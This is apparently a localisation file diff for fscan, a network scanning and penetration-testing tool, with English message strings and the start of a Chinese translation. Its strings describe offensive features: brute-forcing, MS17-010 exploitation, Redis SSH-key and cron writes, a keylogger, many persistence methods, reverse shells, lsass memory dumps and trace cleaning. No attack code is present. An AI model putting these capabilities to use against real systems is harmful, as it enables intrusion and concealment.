||||
flag_persistence_file:
|
||||
other: "Linux persistence target file path (supports .elf/.sh files)"
|
||||
flag_win_pe_file:
|
||||
other: "Windows persistence target PE file path (supports .exe/.dll files)"
|
||||
flag_keylogger_output:
|
||||
other: "Keylogger output file path"
|
||||
flag_download_url:
|
||||
other: "URL of the file to download"
|
||||
flag_download_path:
|
||||
other: "Save path for downloaded file"
|
||||
flag_language:
|
||||
other: "Language: zh, en"
|
||||
flag_help:
|
||||
other: "Show help information"
|
||||
# ========================= Scan Mode Messages =========================
|
||||
scan_mode_service_selected:
|
||||
other: "Service scan mode selected"
|
||||
scan_mode_alive_selected:
|
||||
other: "Alive detection mode selected"
|
||||
scan_mode_local_selected:
|
||||
other: "Local scan mode selected"
|
||||
scan_mode_web_selected:
|
||||
other: "Web scan mode selected"
|
||||
scan_info_start:
|
||||
other: "Starting information scan"
|
||||
scan_host_start:
|
||||
other: "Starting host scan"
|
||||
scan_vulnerability_start:
|
||||
other: "Starting vulnerability scan"
|
||||
scan_no_service_plugins:
|
||||
other: "No available service plugins found"
|
||||
|
||||
# ========================= Scan Strategy Messages =========================
|
||||
scan_strategy_alive_name:
|
||||
other: "Alive Detection"
|
||||
scan_strategy_alive_desc:
|
||||
other: "Fast detection of host alive status"
|
||||
scan_strategy_local_name:
|
||||
other: "Local Scan"
|
||||
scan_strategy_local_desc:
|
||||
other: "Collect local system information"
|
||||
scan_strategy_service_name:
|
||||
other: "Service Scan"
|
||||
scan_strategy_service_desc:
|
||||
other: "Scan host services and vulnerabilities"
|
||||
scan_strategy_web_name:
|
||||
other: "Web Scan"
|
||||
scan_strategy_web_desc:
|
||||
other: "Scan web application vulnerabilities and information"
|
||||
|
||||
# ========================= Alive Detection Messages =========================
|
||||
scan_alive_start:
|
||||
other: "Starting alive detection"
|
||||
scan_alive_summary_title:
|
||||
other: "Alive Detection Summary"
|
||||
scan_alive_hosts_list:
|
||||
other: "Alive hosts list:"
|
||||
|
||||
# ========================= Progress Messages =========================
|
||||
progress_scanning_description:
|
||||
other: "Scanning Progress"
|
||||
progress_scan_completed:
|
||||
other: "Scan Completed:"
|
||||
concurrency_plugin:
|
||||
other: "Plugins"
|
||||
concurrency_local_plugin:
|
||||
other: "Local Plugins"
|
||||
concurrency_service_plugin:
|
||||
other: "Service Plugins"
|
||||
concurrency_web_plugin:
|
||||
other: "Web Plugins"
|
||||
|
||||
# ========================= Parse Error Messages =========================
|
||||
parse_error_target_empty:
|
||||
other: "Target input is empty"
|
||||
parse_error_no_hosts:
|
||||
other: "No valid target hosts found after parsing"
|
||||
parse_error_empty_input:
|
||||
other: "Input parameters are empty"
|
||||
parse_error_parser_not_init:
|
||||
other: "Parser not initialized"
|
||||
target_local_mode:
|
||||
other: "Local scan mode"
|
||||
param_conflict_ao_icmp_both:
|
||||
other: "Note: Both -ao and -m icmp specified, both enable alive detection mode"
|
||||
|
||||
# ========================= Parser Messages =========================
|
||||
parser_empty_input:
|
||||
other: "Input parameters are empty"
|
||||
parser_file_scan_failed:
|
||||
other: "File scan failed"
|
||||
parser_username_invalid_chars:
|
||||
other: "Username contains invalid characters"
|
||||
parser_password_empty:
|
||||
other: "Empty passwords not allowed"
|
||||
parser_hash_empty:
|
||||
other: "Hash value is empty"
|
||||
parser_hash_invalid_format:
|
||||
other: "Invalid hash format, requires 32-character hexadecimal"
|
||||
|
||||
# ========================= Config Messages =========================
|
||||
config_web_timeout_warning:
|
||||
other: "Web timeout is larger than normal timeout, may cause unexpected behavior"
|
||||
|
||||
# ========================= Plugin Scan Messages (with parameters) =========================
|
||||
scan_plugin_not_found:
|
||||
other: "No plugin found for scan type {{.Arg1}}, skipped"
|
||||
|
||||
# ========================= SSH Plugin Messages =========================
|
||||
ssh_key_auth_success:
|
||||
other: "SSH key authentication successful: {{.Arg1}} [{{.Arg2}}]"
|
||||
ssh_pwd_auth_success:
|
||||
other: "SSH password authentication successful: {{.Arg1}} [{{.Arg2}}:{{.Arg3}}]"
|
||||
ssh_key_read_failed:
|
||||
other: "Failed to read SSH private key: {{.Arg1}}"
|
||||
ssh_service_identified:
|
||||
other: "SSH service identified: {{.Arg1}} - {{.Arg2}}"
|
||||
|
||||
# ========================= Redis Plugin Messages =========================
|
||||
redis_unauth_success:
|
||||
other: "Redis unauthorized access: {{.Arg1}}"
|
||||
redis_service_identified:
|
||||
other: "Redis service identified: {{.Arg1}} - {{.Arg2}}"
|
||||
|
||||
# ========================= ICMP Messages =========================
|
||||
trying_no_listen_icmp:
|
||||
other: "Trying no-listen ICMP detection"
|
||||
insufficient_privileges:
|
||||
other: "Insufficient privileges for raw ICMP detection"
|
||||
switching_to_ping:
|
||||
other: "Switching to ping command mode"
|
||||
icmp_listen_failed:
|
||||
other: "ICMP listen failed: {{.Arg1}}"
|
||||
icmp_connect_failed:
|
||||
other: "ICMP connect failed: {{.Arg1}}"
|
||||
icmp_listener_panic:
|
||||
other: "ICMP listener goroutine panic: {{.Arg1}}"
|
||||
host_alive:
|
||||
other: "{{.Arg1}} alive (protocol: {{.Arg2}})"
|
||||
proxy_mode_disable_icmp:
|
||||
other: "Proxy mode detected, disabling ICMP scan"
|
||||
segment_16_alive:
|
||||
other: "{{.Arg1}}.0.0/16 segment alive: {{.Arg2}}"
|
||||
segment_24_alive:
|
||||
other: "{{.Arg1}}.0/24 segment alive: {{.Arg2}}"
|
||||
tcp_probe_low_icmp_rate:
|
||||
other: "Low ICMP response rate ({{.Arg1}}), enabling TCP supplementary probe ({{.Arg2}} hosts)"
|
||||
tcp_probe_found:
|
||||
other: "TCP probe found {{.Arg1}} alive hosts"
|
||||
|
||||
# ========================= Alive Scan Stats Messages =========================
|
||||
parse_target_failed:
|
||||
other: "Parse target failed: {{.Arg1}}"
|
||||
alive_scan_start_single:
|
||||
other: "Starting alive scan: {{.Arg1}}"
|
||||
alive_scan_start_multi:
|
||||
other: "Starting alive scan: {{.Arg1}} targets (first: {{.Arg2}})"
|
||||
alive_total_hosts:
|
||||
other: "Total hosts: {{.Arg1}}"
|
||||
alive_hosts_count:
|
||||
other: "Alive hosts: {{.Arg1}}"
|
||||
alive_dead_hosts:
|
||||
other: "Dead hosts: {{.Arg1}}"
|
||||
alive_success_rate:
|
||||
other: "Success rate: {{.Arg1}}"
|
||||
alive_scan_duration:
|
||||
other: "Scan duration: {{.Arg1}}"
|
||||
alive_host_item:
|
||||
other: " [{{.Arg1}}] {{.Arg2}}"
|
||||
|
||||
# ========================= Scanner Messages =========================
|
||||
http_client_init_failed:
|
||||
other: "HTTP client initialization failed: {{.Arg1}}"
|
||||
active_reverse_shell:
|
||||
other: "Active reverse shell detected, keeping program running..."
|
||||
active_socks5_proxy:
|
||||
other: "Active SOCKS5 proxy detected, keeping program running..."
|
||||
active_forward_shell:
|
||||
other: "Active forward shell detected, keeping program running..."
|
||||
press_ctrl_c_exit:
|
||||
other: "Press Ctrl+C to exit"
|
||||
received_exit_signal:
|
||||
other: "Received exit signal, shutting down..."
|
||||
scan_task_complete:
|
||||
other: "Scan task complete, duration {{.Arg1}}, scanned {{.Arg2}} targets"
|
||||
plugin_panic:
|
||||
other: "Plugin {{.Arg1}} panic while scanning {{.Arg2}}:{{.Arg3}}: {{.Arg4}}"
|
||||
plugin_scan_error:
|
||||
other: "Plugin scan error {{.Arg1}}:{{.Arg2}} - {{.Arg3}}"
|
||||
brute_no_weak_pass:
|
||||
other: "{{.Arg1}}:{{.Arg2}} {{.Arg3}} no weak password found"
|
||||
|
||||
# ========================= Port Scan Messages =========================
|
||||
invalid_port:
|
||||
other: "Invalid port: {{.Arg1}}"
|
||||
port_scan_start:
|
||||
other: "Starting port scan, {{.Arg1}} tasks, estimated {{.Arg2}} seconds ({{.Arg3}} minutes)"
|
||||
thread_pool_create_failed:
|
||||
other: "Failed to create thread pool: {{.Arg1}}"
|
||||
port_scan_complete:
|
||||
other: "Scan complete, found {{.Arg1}} open ports"
|
||||
scan_failure_rate_high:
|
||||
other: "Scan failure rate too high: {{.Arg1}} ({{.Arg2}}/{{.Arg3}} failed)"
|
||||
scan_failure_reason:
|
||||
other: "Possible reason: Thread count too high causing resource exhaustion"
|
||||
scan_reduce_threads_suggestion:
|
||||
other: "Suggestion: Reduce thread count (current {{.Arg1}}) to 50-100, or increase system ulimit"
|
||||
scan_partial_failure:
|
||||
other: "Partial port scan failure: {{.Arg1}} ({{.Arg2}}/{{.Arg3}})"
|
||||
scan_reduce_threads_accuracy:
|
||||
other: "Suggestion: Reduce thread count (current {{.Arg1}}) to improve accuracy"
|
||||
resource_exhausted_warning:
|
||||
other: "Resource exhausted errors {{.Arg1}} times, suggest reducing thread count (-t) or increase ulimit"
|
||||
port_open:
|
||||
other: "Port open {{.Arg1}}"
|
||||
port_open_http:
|
||||
other: "Port open {{.Arg1}} [http](HTTP probe)"
|
||||
port_scan_no_alive_subnet:
|
||||
other: "Subnet probe found no alive subnets, skipping port scan"
|
||||
|
||||
# ========================= Local Scan Messages =========================
|
||||
local_plugin_info:
|
||||
other: "Local plugin: {{.Arg1}}"
|
||||
local_plugin_not_specified:
|
||||
other: "Local plugin: Not specified"
|
||||
local_plugin_not_found:
|
||||
other: "Error: Local plugin '{{.Arg1}}' does not exist or is not available on current platform"
|
||||
|
||||
# ========================= Service Scan Messages =========================
|
||||
service_plugin_info:
|
||||
other: "Service plugins: {{.Arg1}}"
|
||||
service_plugin_custom:
|
||||
other: "Service plugins: Custom specified ({{.Arg1}})"
|
||||
service_plugin_none:
|
||||
other: "Service plugins: None available"
|
||||
port_out_of_range:
|
||||
other: "Port out of range: {{.Arg1}} (valid range: 1-65535)"
|
||||
invalid_target_format:
|
||||
other: "Invalid target format: {{.Arg1}}"
|
||||
host_port_invalid:
|
||||
other: "Host {{.Arg1}} port format invalid: {{.Arg2}}"
|
||||
host_port_out_of_range:
|
||||
other: "Host {{.Arg1}} port out of range: {{.Arg2}} (valid range: 1-65535)"
|
||||
alive_hosts_count_info:
|
||||
other: "Alive hosts count: {{.Arg1}}"
|
||||
alive_ports_count:
|
||||
other: "Alive ports count: {{.Arg1}}"
|
||||
|
||||
# ========================= Web Scan Messages =========================
|
||||
http_proxy_config_error:
|
||||
other: "HTTP proxy configuration error: {{.Arg1}}"
|
||||
socks5_not_supported_web:
|
||||
other: "Web detection does not support SOCKS5 proxy, recommend using HTTP proxy (-proxy)"
|
||||
url_parse_failed:
|
||||
other: "Failed to parse URL: {{.Arg1}} - {{.Arg2}}"
|
||||
invalid_scan_target:
|
||||
other: "Invalid scan target"
|
||||
poc_load_failed:
|
||||
other: "POC load failed, cannot execute scan"
|
||||
|
||||
# ========================= Base Scan Strategy Messages =========================
|
||||
plugins_custom_specified:
|
||||
other: "{{.Arg1}}: Custom specified ({{.Arg2}})"
|
||||
plugins_info:
|
||||
other: "{{.Arg1}}: {{.Arg2}}"
|
||||
plugins_none:
|
||||
other: "{{.Arg1}}: None available"
|
||||
start_local_scan:
|
||||
other: "Starting local scan"
|
||||
start_service_scan:
|
||||
other: "Starting service scan"
|
||||
start_web_scan:
|
||||
other: "Starting web scan"
|
||||
start_scan:
|
||||
other: "Starting scan"
|
||||
|
||||
# ========================= Service Plugin Messages =========================
|
||||
# Format: {service}_{type} - type: credential/unauth/service/vuln
|
||||
ldap_credential:
|
||||
other: "LDAP {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
ldap_hash_credential:
|
||||
other: "LDAP {{.Arg1}} {{.Arg2}}\\{{.Arg3}} [Hash:{{.Arg4}}]"
|
||||
ldap_service:
|
||||
other: "LDAP {{.Arg1}} {{.Arg2}}"
|
||||
kafka_credential:
|
||||
other: "Kafka {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
kafka_service:
|
||||
other: "Kafka {{.Arg1}} {{.Arg2}}"
|
||||
ftp_service:
|
||||
other: "FTP {{.Arg1}} {{.Arg2}}"
|
||||
rdp_service:
|
||||
other: "RDP {{.Arg1}} {{.Arg2}}"
|
||||
activemq_credential:
|
||||
other: "ActiveMQ {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
activemq_service:
|
||||
other: "ActiveMQ {{.Arg1}} {{.Arg2}}"
|
||||
telnet_credential:
|
||||
other: "Telnet {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
telnet_service:
|
||||
other: "Telnet {{.Arg1}} {{.Arg2}}"
|
||||
telnet_unauth_rce:
|
||||
other: "Telnet {{.Arg1}} unauthorized RCE [{{.Arg2}}] {{.Arg3}}"
|
||||
telnet_credential_rce:
|
||||
other: "Telnet {{.Arg1}} {{.Arg2}}:{{.Arg3}} RCE verified [{{.Arg4}}] {{.Arg5}}"
|
||||
telnet_cve202624061:
|
||||
other: "Telnet {{.Arg1}} CVE-2026-24061 Telnetd Authentication Bypass (user: {{.Arg2}}) {{.Arg3}}"
|
||||
cassandra_credential:
|
||||
other: "Cassandra {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
cassandra_service:
|
||||
other: "Cassandra {{.Arg1}} {{.Arg2}}"
|
||||
cassandra_unauth:
|
||||
other: "Cassandra {{.Arg1}} No authentication required"
|
||||
vnc_unauth:
|
||||
other: "VNC {{.Arg1}} Unauthorized access"
|
||||
vnc_credential:
|
||||
other: "VNC {{.Arg1}} Password: {{.Arg2}}"
|
||||
smtp_credential:
|
||||
other: "SMTP {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
smtp_service:
|
||||
other: "SMTP {{.Arg1}} {{.Arg2}}"
|
||||
mongodb_unauth:
|
||||
other: "MongoDB {{.Arg1}} Unauthorized access"
|
||||
mongodb_credential:
|
||||
other: "MongoDB {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
mongodb_auth_required:
|
||||
other: "MongoDB {{.Arg1}} Authentication required"
|
||||
elasticsearch_credential:
|
||||
other: "Elasticsearch {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
elasticsearch_unauth:
|
||||
other: "Elasticsearch {{.Arg1}} Unauthorized access"
|
||||
elasticsearch_service:
|
||||
other: "Elasticsearch {{.Arg1}} {{.Arg2}}"
|
||||
mysql_credential:
|
||||
other: "MySQL {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
mysql_service:
|
||||
other: "MySQL {{.Arg1}} {{.Arg2}}"
|
||||
memcached_unauth:
|
||||
other: "Memcached {{.Arg1}} Unauthorized access"
|
||||
memcached_service:
|
||||
other: "Memcached {{.Arg1}} {{.Arg2}}"
|
||||
rsync_credential:
|
||||
other: "Rsync {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
rsync_service:
|
||||
other: "Rsync {{.Arg1}} {{.Arg2}}"
|
||||
oracle_credential:
|
||||
other: "Oracle {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
oracle_service:
|
||||
other: "Oracle {{.Arg1}} {{.Arg2}}"
|
||||
oracle_default_account:
|
||||
other: "Oracle {{.Arg1}} Default account: {{.Arg2}}:{{.Arg3}}"
|
||||
postgresql_credential:
|
||||
other: "PostgreSQL {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
postgresql_service:
|
||||
other: "PostgreSQL {{.Arg1}} {{.Arg2}}"
|
||||
postgresql_vuln:
|
||||
other: "PostgreSQL {{.Arg1}} {{.Arg2}}"
|
||||
smb_service:
|
||||
other: "SMB {{.Arg1}} {{.Arg2}}"
|
||||
rabbitmq_credential:
|
||||
other: "RabbitMQ {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
rabbitmq_service:
|
||||
other: "RabbitMQ {{.Arg1}} {{.Arg2}}"
|
||||
neo4j_unauth:
|
||||
other: "Neo4j {{.Arg1}} Unauthorized access"
|
||||
neo4j_credential:
|
||||
other: "Neo4j {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
neo4j_service:
|
||||
other: "Neo4j {{.Arg1}} {{.Arg2}}"
|
||||
mssql_credential:
|
||||
other: "MSSQL {{.Arg1}} {{.Arg2}}:{{.Arg3}}"
|
||||
mssql_service:
|
||||
other: "MSSQL {{.Arg1}} {{.Arg2}}"
|
||||
|
||||
# ========================= Vulnerability Detection Messages =========================
|
||||
smbghost_vuln:
|
||||
other: "SMB Ghost {{.Arg1}} CVE-2020-0796 Vulnerable"
|
||||
ms17010_start:
|
||||
other: "MS17-010 exploitation started: {{.Arg1}}"
|
||||
ms17010_complete:
|
||||
other: "MS17-010 exploitation completed: {{.Arg1}}"
|
||||
ms17010_shellcode_complete:
|
||||
other: "{{.Arg1}} MS17-010 exploitation completed (Shellcode length: {{.Arg2}})"
|
||||
ms17010_protocol_decrypt_error:
|
||||
other: "Protocol request decryption error: {{.Arg1}}"
|
||||
ms17010_protocol_decode_error:
|
||||
other: "Protocol request decoding error: {{.Arg1}}"
|
||||
ms17010_session_decrypt_error:
|
||||
other: "Session request decryption error: {{.Arg1}}"
|
||||
ms17010_session_decode_error:
|
||||
other: "Session request decoding error: {{.Arg1}}"
|
||||
ms17010_connect_decrypt_error:
|
||||
other: "Connection request decryption error: {{.Arg1}}"
|
||||
ms17010_connect_decode_error:
|
||||
other: "Connection request decoding error: {{.Arg1}}"
|
||||
ms17010_pipe_decrypt_error:
|
||||
other: "Pipe request decryption error: {{.Arg1}}"
|
||||
ms17010_pipe_decode_error:
|
||||
other: "Pipe request decoding error: {{.Arg1}}"
|
||||
|
||||
# ========================= Redis Plugin Messages =========================
|
||||
redis_reconnect_failed:
|
||||
other: "Failed to reconnect to Redis: {{.Arg1}}"
|
||||
redis_config_failed:
|
||||
other: "Failed to get Redis config: {{.Arg1}}"
|
||||
redis_write_failed:
|
||||
other: "File write failed: {{.Arg1}}"
|
||||
redis_write_success:
|
||||
other: "Successfully wrote file: {{.Arg1}}"
|
||||
redis_read_failed:
|
||||
other: "Failed to read local file: {{.Arg1}}"
|
||||
redis_file_write_success:
|
||||
other: "Successfully wrote content of {{.Arg1}} to {{.Arg2}}"
|
||||
redis_ssh_key_failed:
|
||||
other: "SSH key write failed: {{.Arg1}}"
|
||||
redis_ssh_key_success:
|
||||
other: "SSH key written successfully"
|
||||
redis_cron_failed:
|
||||
other: "Cron job write failed: {{.Arg1}}"
|
||||
redis_cron_success:
|
||||
other: "Cron job written successfully"
|
||||
redis_restore_failed:
|
||||
other: "Failed to restore database config: {{.Arg1}}"
|
||||
|
||||
# ========================= Local Plugin Messages =========================
|
||||
# Cron task persistence
|
||||
crontask_success:
|
||||
other: "Cron task persistence completed: {{.Arg1}} methods succeeded"
|
||||
|
||||
# Keylogger
|
||||
keylogger_success:
|
||||
other: "Keylogging completed, captured {{.Arg1}} keyboard events"
|
||||
keylogger_save_failed:
|
||||
other: "Failed to save keylog: {{.Arg1}}"
|
||||
keylogger_no_input:
|
||||
other: "No keyboard input captured"
|
||||
|
||||
# Environment info
|
||||
envinfo_sensitive:
|
||||
other: "Found sensitive environment variable: {{.Arg1}}"
|
||||
|
||||
# Windows WMI
|
||||
winwmi_success:
|
||||
other: "Windows WMI event subscription persistence completed: {{.Arg1}} items"
|
||||
|
||||
# Cleaner
|
||||
cleaner_success:
|
||||
other: "Trace cleaning completed: {{.Arg1}} files, {{.Arg2}} system entries"
|
||||
cleaner_history_found:
|
||||
other: "Found history file: {{.Arg1}} (requires manual cleanup)"
|
||||
|
||||
# Downloader
|
||||
downloader_success:
|
||||
other: "File download completed: {{.Arg1}} -> {{.Arg2}} (size: {{.Arg3}} bytes)"
|
||||
|
||||
# Forward shell
|
||||
forwardshell_complete:
|
||||
other: "Forward shell service completed - port: {{.Arg1}}"
|
||||
forwardshell_started:
|
||||
other: "Forward shell server started on 0.0.0.0:{{.Arg1}}"
|
||||
forwardshell_accept_failed:
|
||||
other: "Failed to accept connection: {{.Arg1}}"
|
||||
forwardshell_client_connected:
|
||||
other: "Client connected from: {{.Arg1}}"
|
||||
forwardshell_read_failed:
|
||||
other: "Failed to read client command: {{.Arg1}}"
|
||||
|
||||
# AV detection
|
||||
avdetect_load_failed:
|
||||
other: "Failed to load AV database: {{.Arg1}}"
|
||||
avdetect_loaded:
|
||||
other: "Loaded {{.Arg1}} AV product info"
|
||||
avdetect_found:
|
||||
other: "Detected AV: {{.Arg1}} ({{.Arg2}} processes)"
|
||||
avdetect_process:
|
||||
other: " - {{.Arg1}}"
|
||||
|
||||
# Windows startup folder
|
||||
winstartup_success:
|
||||
other: "Windows startup folder persistence completed: {{.Arg1}} methods"
|
||||
|
||||
# File info
|
||||
fileinfo_sensitive:
|
||||
other: "Found sensitive file: {{.Arg1}}"
|
||||
fileinfo_potential:
|
||||
other: "Found potentially sensitive file: {{.Arg1}}"
|
||||
|
||||
# DC info
|
||||
dcinfo_not_joined:
|
||||
other: "Current computer is not joined to a domain"
|
||||
dcinfo_success:
|
||||
other: "Domain controller info collection completed: {{.Arg1}} categories succeeded"
|
||||
|
||||
# Windows service
|
||||
winservice_success:
|
||||
other: "Windows service persistence completed: {{.Arg1}} items"
|
||||
|
||||
# Shell environment
|
||||
shellenv_success:
|
||||
other: "Shell environment persistence completed: {{.Arg1}} methods succeeded"
|
||||
|
||||
# LD_PRELOAD
|
||||
ldpreload_success:
|
||||
other: "LD_PRELOAD persistence completed: {{.Arg1}} methods succeeded"
|
||||
|
||||
# SOCKS5 proxy
|
||||
socks5_starting:
|
||||
other: "Starting SOCKS5 proxy on port {{.Arg1}}"
|
||||
socks5_complete:
|
||||
other: "SOCKS5 proxy completed - port: {{.Arg1}}"
|
||||
socks5_started:
|
||||
other: "SOCKS5 proxy server started on 127.0.0.1:{{.Arg1}}"
|
||||
socks5_cancelled:
|
||||
other: "SOCKS5 proxy server cancelled by context"
|
||||
socks5_accept_failed:
|
||||
other: "Failed to accept connection: {{.Arg1}}"
|
||||
socks5_handshake_failed:
|
||||
other: "SOCKS5 handshake failed: {{.Arg1}}"
|
||||
socks5_request_failed:
|
||||
other: "SOCKS5 request handling failed: {{.Arg1}}"
|
||||
socks5_connected:
|
||||
other: "SOCKS5 proxy connection established"
|
||||
|
||||
# Reverse shell
|
||||
reverseshell_complete:
|
||||
other: "Reverse shell completed - target: {{.Arg1}}"
|
||||
reverseshell_connected:
|
||||
other: "Reverse shell connected to {{.Arg1}}:{{.Arg2}}"
|
||||
|
||||
# Systemd service
|
||||
systemdservice_success:
|
||||
other: "Systemd service persistence completed: {{.Arg1}} methods succeeded"
|
||||
|
||||
# System info
|
||||
systeminfo_start:
|
||||
other: "Starting system information collection"
|
||||
systeminfo_os:
|
||||
other: "Operating System: {{.Arg1}}"
|
||||
systeminfo_arch:
|
||||
other: "Architecture: {{.Arg1}}"
|
||||
systeminfo_cpu:
|
||||
other: "CPU Cores: {{.Arg1}}"
|
||||
systeminfo_hostname:
|
||||
other: "Hostname: {{.Arg1}}"
|
||||
systeminfo_user:
|
||||
other: "Current User: {{.Arg1}}"
|
||||
systeminfo_homedir:
|
||||
other: "Home Directory: {{.Arg1}}"
|
||||
systeminfo_workdir:
|
||||
other: "Working Directory: {{.Arg1}}"
|
||||
systeminfo_tempdir:
|
||||
other: "Temp Directory: {{.Arg1}}"
|
||||
systeminfo_pathcount:
|
||||
other: "PATH entries: {{.Arg1}}"
|
||||
systeminfo_winver:
|
||||
other: "Windows Version: {{.Arg1}}"
|
||||
systeminfo_domain:
|
||||
other: "User Domain: {{.Arg1}}"
|
||||
systeminfo_kernel:
|
||||
other: "System Kernel: {{.Arg1}}"
|
||||
systeminfo_distro:
|
||||
other: "Distribution: {{.Arg1}}"
|
||||
systeminfo_distro_exists:
|
||||
other: "Distribution: /etc/os-release exists"
|
||||
systeminfo_whoami:
|
||||
other: "Current User (whoami): {{.Arg1}}"
|
||||
|
||||
# Windows scheduled task
|
||||
winschtask_success:
|
||||
other: "Windows scheduled task persistence completed: {{.Arg1}} items"
|
||||
|
||||
# Windows registry
|
||||
winregistry_success:
|
||||
other: "Windows registry persistence completed: {{.Arg1}} items"
|
||||
|
||||
# Minidump
|
||||
minidump_panic:
|
||||
other: "Minidump plugin panic: {{.Arg1}}"
|
||||
minidump_success:
|
||||
other: "Successfully dumped lsass.exe memory to file: {{.Arg1}} (size: {{.Arg2}} bytes)"
|
||||
|
||||
# ========================= WebScan Messages =========================
|
||||
webscan_target_url_failed:
|
||||
other: "Failed to build target URL: {{.Arg1}}"
|
||||
webscan_invalid_url:
|
||||
other: "{{.Arg1}} {{.Arg2}}: {{.Arg3}}"
|
||||
webscan_request_create_failed:
|
||||
other: "Failed to create HTTP request: {{.Arg1}}"
|
||||
webscan_builtin_poc_failed:
|
||||
other: "Failed to load builtin POC directory: {{.Arg1}}"
|
||||
webscan_poc_dir_not_exist:
|
||||
other: "POC directory does not exist: {{.Arg1}}"
|
||||
webscan_poc_dir_walk_failed:
|
||||
other: "Failed to traverse POC directory: {{.Arg1}}"
|
||||
webscan_rule_match_error:
|
||||
other: "Rule match error [{{.Arg1}}]: {{.Arg2}}"
|
||||
webscan_poc_exec_error:
|
||||
other: "POC execution error {{.Arg1}}: {{.Arg2}}"
|
||||
webscan_set_exec_error:
|
||||
other: "Set execution error {{.Arg1}}: {{.Arg2}}"
|
||||
webscan_regex_compile_error:
|
||||
other: "Regex compile error: {{.Arg1}}"
|
||||
webscan_reverse_url_error:
|
||||
other: "Reverse URL parse error: {{.Arg1}}"
|
||||
webscan_cel_syntax_error:
|
||||
other: "CEL syntax error [{{.Arg1}}]: {{.Arg2}}"
|
||||
webscan_cel_init_failed:
|
||||
other: "Failed to initialize base CEL environment: {{.Arg1}}"
|
||||
webscan_request_restricted:
|
||||
other: "POC HTTP request {{.Arg1}} restricted: {{.Arg2}}"
|
||||
webscan_response_parse_failed:
|
||||
other: "Response parse failed: {{.Arg1}}"
|
||||
|
||||
# Main entry
|
||||
param_error:
|
||||
other: "Parameter error: {{.Arg1}}"
|
||||
error_generic:
|
||||
other: "Error: {{.Arg1}}"
|
||||
init_failed:
|
||||
other: "Initialization failed: {{.Arg1}}"
|
||||
poc_load_complete:
|
||||
other: "POC loading complete: Total {{.Arg1}}, Success {{.Arg2}}, Failed {{.Arg3}}"
|
||||
redis_scan_success:
|
||||
other: "Redis {{.Arg1}} {{.Arg2}}"
|
||||
rabbitmq_detected:
|
||||
other: "RabbitMQ {{.Arg1}} {{.Arg2}}"
|
||||
|
||||
# ========================= Web UI Messages =========================
|
||||
web_server_started:
|
||||
other: "Web server started on port: {{.Arg1}}"
|
||||
web_shutting_down:
|
||||
other: "Web server shutting down..."
|
||||
web_mode_not_supported:
|
||||
other: "Web mode not supported in this build, rebuild with: go build -tags web"
|
||||
@@ -0,0 +1,763 @@
|
||||
# fscan 中文翻译文件
|
||||
# 仅包含实际使用的消息(115个)
|
||||
|
||||
# ========================= 命令行参数 (71个) =========================
|
||||
flag_host:
|
||||
other: "目标主机: IP, IP段, IP段文件, 域名"
|
||||
flag_exclude_hosts:
|
||||
other: "排除主机"
|
||||
flag_exclude_hosts_file:
|
||||
other: "排除主机文件"
|
||||
flag_ports:
|
||||
other: "端口: 默认1000个常用端口"
|
||||
flag_exclude_ports:
|
||||
other: "排除端口"
|
||||
flag_hosts_file:
|
||||
other: "主机文件"
|
||||
flag_ports_file:
|
||||
other: "端口文件"
|
||||
flag_scan_mode:
|
||||
other: "扫描模式: all(全部), icmp(存活探测), 或指定插件名称"
|
||||
flag_thread_num:
|
||||
other: "端口扫描线程数"
|
||||
flag_timeout:
|
||||
other: "端口扫描超时时间"
|
||||
flag_module_thread_num:
|
||||
other: "模块线程数"
|
||||
flag_global_timeout:
|
||||
other: "全局超时时间"
|
||||
flag_disable_ping:
|
||||
other: "禁用ping探测"
|
||||
flag_disable_tcp_probe:
|
||||
other: "禁用TCP补充探测"
|
||||
flag_debug:
|
||||
other: "开启调试模式,日志写入fscan_debug.log"
|
||||
flag_alive_only:
|
||||
other: "仅进行存活探测"
|
||||
flag_username:
|
||||
other: "用户名"
|
||||
flag_password:
|
||||
other: "密码"
|
||||
flag_add_users:
|
||||
other: "额外用户名"
|
||||
flag_add_passwords:
|
||||
other: "额外密码"
|
||||
flag_users_file:
|
||||
other: "用户名字典文件"
|
||||
flag_passwords_file:
|
||||
other: "密码字典文件"
|
||||
flag_userpass_file:
|
||||
other: "用户名:密码对文件"
|
||||
flag_hash_file:
|
||||
other: "哈希文件"
|
||||
flag_hash_value:
|
||||
other: "哈希值"
|
||||
flag_domain:
|
||||
other: "域名"
|
||||
flag_ssh_key:
|
||||
other: "SSH私钥文件"
|
||||
flag_target_url:
|
||||
other: "目标URL"
|
||||
flag_urls_file:
|
||||
other: "URL文件"
|
||||
flag_cookie:
|
||||
other: "HTTP Cookie"
|
||||
flag_web_timeout:
|
||||
other: "Web超时时间"
|
||||
flag_max_redirects:
|
||||
other: "HTTP最大重定向次数"
|
||||
flag_http_proxy:
|
||||
other: "HTTP代理"
|
||||
flag_socks5_proxy:
|
||||
other: "使用SOCKS5代理 (如: 127.0.0.1:1080)"
|
||||
flag_iface:
|
||||
other: "指定本地网卡IP地址 (VPN场景,如: 10.8.0.5)"
|
||||
flag_poc_path:
|
||||
other: "POC脚本路径"
|
||||
flag_poc_name:
|
||||
other: "POC名称"
|
||||
flag_poc_full:
|
||||
other: "全量POC扫描"
|
||||
flag_dns_log:
|
||||
other: "DNS日志记录"
|
||||
flag_poc_num:
|
||||
other: "POC并发数"
|
||||
flag_no_poc:
|
||||
other: "禁用POC扫描"
|
||||
flag_redis_file:
|
||||
other: "Redis文件"
|
||||
flag_redis_shell:
|
||||
other: "Redis Shell"
|
||||
flag_redis_write_path:
|
||||
other: "Redis写入路径"
|
||||
flag_redis_write_content:
|
||||
other: "Redis写入内容"
|
||||
flag_redis_write_file:
|
||||
other: "Redis写入文件"
|
||||
flag_disable_redis:
|
||||
